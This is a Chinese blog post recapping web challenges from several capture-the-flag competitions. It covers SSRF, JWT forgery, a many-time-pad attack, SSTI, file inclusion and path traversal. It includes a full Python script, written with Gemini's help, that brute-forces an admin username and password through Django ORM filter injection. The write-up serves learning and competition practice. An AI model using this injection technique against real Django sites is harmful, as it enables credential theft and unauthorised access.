最近的比赛

3.6-3.7参加的比赛,基本上都是3.6晚上开的,只有cybergame的是3.6做了,其他的都是3.7早上起来去做的,这比赛一个接一个的,有点难搞哦

还是太菜了,我都只做web,但是有些还做不出来,导致比赛就看起来很多,真废物啊我

反正后面就刷比赛的,每一个都去参加,做不出来也试试,就当见见世面

cryptonite ctf

结果开始的时候直接卡崩了,我还以为我梯子网络差,结果在discord才发现都崩了

这挺印度的

等到第二天早上,终于开放了,不过web方向就一个题目,不知道后面会不会放

webchal1

题目很明显的提示了是ssrf,然后直接去导入失败了,然后就想到可能是工作目录的问题,跳了几层,然后拿到了flag

jailbreak

访问之后输入了一些东西都返回denie,我还以为有什么其他的解法,结果试了几下flag,直接读取出来了

unbreakable ctf

demolition

将题目的源码给Gemini后,很快分析出了漏洞

然后我是在webhook下托管了js文件,如下

然后按照提示将url发给bot

然后base64解码之后就是flag

nday-1

这个题目是airflow,试了几个历史漏洞,没结果,也没怎么接触过这个软件,就没做了,等后面看wp

apoorvctf

days of future past

首先在源码中看到提示

然后去app.js

看到最后应该是要查看message,而message要admin的jwt,这又是一个jwt伪造,然后在bak中看到api key

然后在debug中看到jwt加密密钥

然后注册一个账号登录看看jwt的格式

然后拿去jwt.io网站伪造

访问message的api得到信息

然后问了Gemini之后发现可以用Many Time Pad攻击,GitHub上也有工具,不过我找Gemini帮忙写了一个简易的脚本

解密之后就可以看到flag了

然后处理一下即可提交

Typing Tycoon

观察主页下方好像有篮字,点开看看

发现是一个查询的api

试了一下好像有注入

sqlmap跑了一下暂时没发现有,再看看其他地方

观察了一下之后决定用python脚本跑,因为最开始start接口就给了全文,只要一个个发就行

一开始我还以为发包的wpm是分数,后面才知道是速度,其实正常在网页里自己打也能出来,因为机器人还挺慢的,但是脚本快一些吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import requests
import time
import json

BASE_URL = "http://chals1.apoorvctf.xyz:4001"

def solve_race() :
# 1. 开始比赛
print( "[*] Starting race..." )
start_url = f"{BASE_URL}/api/v1/race/start"
try :
start_response = requests.post( start_url , timeout=10 )
start_data = start_response.json()
except Exception as e :
print( f"[-] Failed to start race: {e}" )
return

race_id = start_data[ 'race_id' ]
text = start_data[ 'text' ]
token = start_data[ 'token' ]
words = text.split()
total_words = len( words )

print( f"[+] Race ID: {race_id}" )
print( f"[+] Total words to type: {total_words}" )

headers = {
"Authorization" : f"Bearer {token}" ,
"Content-Type" : "application/json" ,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"
}

sync_url = f"{BASE_URL}/api/v1/race/sync"
start_time = time.time()

# 2. 模拟一个个发送单词
for i , word in enumerate( words ) :
# 计算进度
progress = (i + 1) / total_words

# 计算当前 WPM (Words Per Minute)
elapsed_time = time.time() - start_time
if elapsed_time > 0 :
current_wpm = (i + 1) / (elapsed_time / 60)
else :
current_wpm = 100

payload = {
"race_id" : race_id ,
"word" : word ,
"progress" : progress ,
"wpm" : int( current_wpm )
}

# 发送同步包
try :
response = requests.post( sync_url , headers=headers , json=payload , timeout=5 )
res_json = response.json()

# 打印进度监控
if i % 10 == 0 or i == total_words - 1 :
print(
f"[*] Progress: {progress * 100:.2f}% | WPM: {int( current_wpm )} | Time Remaining: {res_json.get( 'time_remaining' )}s" )

# 如果响应体里出现了 flag 关键字,直接打印
res_str = json.dumps( res_json )
if "apoorvctf" in res_str.lower() or "flag" in res_str.lower() :
print( "\n[!!!] FLAG FOUND:" )
print( res_str )
return

except Exception as e :
print( f"[-] Error at word '{word}': {e}" )
break

# 控制打字速度:
# 如果你想快一点,可以把这个 sleep 调小。
# 0.1s 间隔大约对应 600 WPM。
time.sleep( 0.1 )

print( "[*] Race finished. Checking final response for flag..." )


if __name__ == "__main__" :
solve_race()

KameHame-Hack

访问是一个游戏界面

开始游戏有一个攻击按键,当你的powerlevel比对面高,你就赢,比对面低就失败,前面2轮都是成功的,第三轮的时候失败了,然后是在session中有power_level,但是伪造这个session失败,然后从页面源代码中看到了是SSTI注入的,但是没构造成功

ssti的题目做的还是少了,当时ai也提到了,但是没好好去试,还是结束之后看别人的wp

Sugar Heist

打开之后观察源码,发现一个假flag,还有提示

看来是要从api入手了

找到一个flag的api,但是需要admin角色的token

可以在注册的时候添加一个role

但是不知道为啥还是不行,等后面看别人wp

Cosplayer’s Delight

这个题有点懵,也不想花太多时间去做这个了,就后面看了下wp:

https://github.com/hax1ng/apoorvctf2026/tree/main/web/cosplayers-delight

cybergame 2026

这个比赛的题目只有取证,密码学,开源情报,进攻性安全,恶意软件分析

ORMT

将源码发给Gemini得到漏洞解析

然后Gemini直接编写exp,不过需要根据实际页面进行调整,我这是经过一次改动后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import requests
import string
import sys

# 目标地址
URL = "http://exp.cybergame.sk:7001/book_lookup"

# 1. 构造死循环查询路径,湊够 30 个 '__' 触发 RecursionError 异常
# Book -> reviews(Review) -> for_book(Book) 循环 15 次
PADDING = "reviews__for_book__" * 15

# 我们需要的字符集(字母、数字、特殊符号)
CHARSET = string.ascii_letters + string.digits + "{}_-!@#$%^&*()"


def get_false_length() :
"""获取查询失败时的页面长度作为基准线"""
print( "[*] 正在获取 False 基准页面长度..." )
data = {"title__icontains" : "THIS_BOOK_WILL_NEVER_EXIST_99999"}
r = requests.post( URL , data=data )
length = len( r.text )
print( f"[*] False 页面长度约为: {length}" )
return length


def check_condition(payload_key , payload_value , false_length) :
"""发送 Payload 并判断页面是否返回了书籍"""
data = {payload_key : payload_value}
r = requests.post( URL , data=data )
# 如果当前页面长度比 false_length 大很多(通常大于100个字符的差异),说明查询到了书籍(条件为True)
if len( r.text ) > false_length + 50 :
return True
return False


def extract_field(field_name , false_length) :
"""逐字盲注提取目标字段"""
extracted = ""
print( f"\n[*] 开始爆破 Admin 的 {field_name}..." )

while True :
found_char = False
for char in CHARSET :
test_val = extracted + char

# 构造 Payload:
# PADDING + reviews__by_user__role=admin (确保是管理员的评论)
# PADDING + reviews__by_user__{field_name}__startswith=test_val (爆破字段)
payload_key = f"{PADDING}reviews__by_user__{field_name}__startswith"

# 我们需要同时确保这个用户是 admin
data = {
f"{PADDING}reviews__by_user__role" : "admin" ,
payload_key : test_val
}

r = requests.post( URL , data=data )

if len( r.text ) > false_length + 50 :
extracted += char
sys.stdout.write( f"\r[+] 当前已爆破出: {extracted}" )
sys.stdout.flush()
found_char = True
break

if not found_char :
print( f"\n[!] 爆破完成!最终 {field_name}: {extracted}" )
break

return extracted


if __name__ == "__main__" :
print( "=== 开始 Django ORM 盲注 ===" )

# 1. 获取基准长度
false_len = get_false_length()

# 2. 首先测试连通性,确认 Admin 留下过 Review
test_key = f"{PADDING}reviews__by_user__role"
if check_condition( test_key , "admin" , false_len ) :
print( "[+] 连通性测试成功!发现关联的 Admin 账户,准备提取凭证..." )
else :
print( "[-] 警告:Admin 似乎没有留下过 Review。尝试更换路径为 Author..." )
# 如果 Admin 没有写评论,那他大概率是某本书的 Author,我们切换查询路径
PADDING = "author__books__" * 15
test_key = f"{PADDING}author__user_account__role"
if check_condition( test_key , "admin" , false_len ) :
print( "[+] 连通性测试成功!Admin 是作者。" )


# 修正后续提取用的键名
def extract_field(field_name , false_length) :
extracted = ""
print( f"\n[*] 开始爆破 Admin 的 {field_name}..." )
while True :
found_char = False
for char in CHARSET :
test_val = extracted + char
data = {
f"{PADDING}author__user_account__role" : "admin" ,
f"{PADDING}author__user_account__{field_name}__startswith" : test_val
}
r = requests.post( URL , data=data )
if len( r.text ) > false_length + 50 :
extracted += char
sys.stdout.write( f"\r[+] 当前已爆破出: {extracted}" )
sys.stdout.flush()
found_char = True
break
if not found_char :
print( f"\n[!] 爆破完成!最终 {field_name}: {extracted}" )
break
return extracted
else :
print( "[-] 无法找到 Admin 关联的数据,请检查数据库结构。" )
sys.exit( 1 )

# 3. 爆破账号和密码
username = extract_field( "username" , false_len )
password = extract_field( "password" , false_len )

print( "\n=== ✨ 爆破成功 ✨ ===" )
print( f"账号 (Username): {username}" )
print( f"密码 (Password): {password}" )
print( "=======================" )
print( "-> 现在你可以使用这组凭据,通过 Basic Auth 访问 http://exp.cybergame.sk:7001/admin 获取 Flag 了!" )

爆出来后直接去登录即可

ORMT2

AXIOM CTF

[Baby] Библиотека Лосяша (洛希亚沙图书馆)

随便点了几下,发现url很可疑

感觉可以试试文件包含,试了几下之后发现/etc/passwd被禁了,其他的没有,成功读取到了第二段flag

在robots中也有提示

用php伪协议读取到的源码如下:

这里就能看出来直接读源码不行,会无限循环(因为我试过了,卡死),得用php伪协议,然后看了一下robots中提到的config.php,直接得到第一部分的flag

解码之后是这样:

铁保姆管理系统

经过尝试是可以在文件管理处读取文件,查看目录的,但是过滤了service,而源码就在service下

也是没做出来

UPCTF

0 day on ipaddress

给了源码,就是绕过

Gemini给出绕过方案

很不错的题目

ouro no pescoco

mauth

microsoft axel

把源码给Gemini之后给了2种方案,一个是用绝对路径开头,但是操作起来不是很好用,还有一个就是路径穿越,这个成功了


最近的比赛
https://rightevil.github.io/最近的比赛/
作者
rightevil
发布于
2026年3月9日
许可协议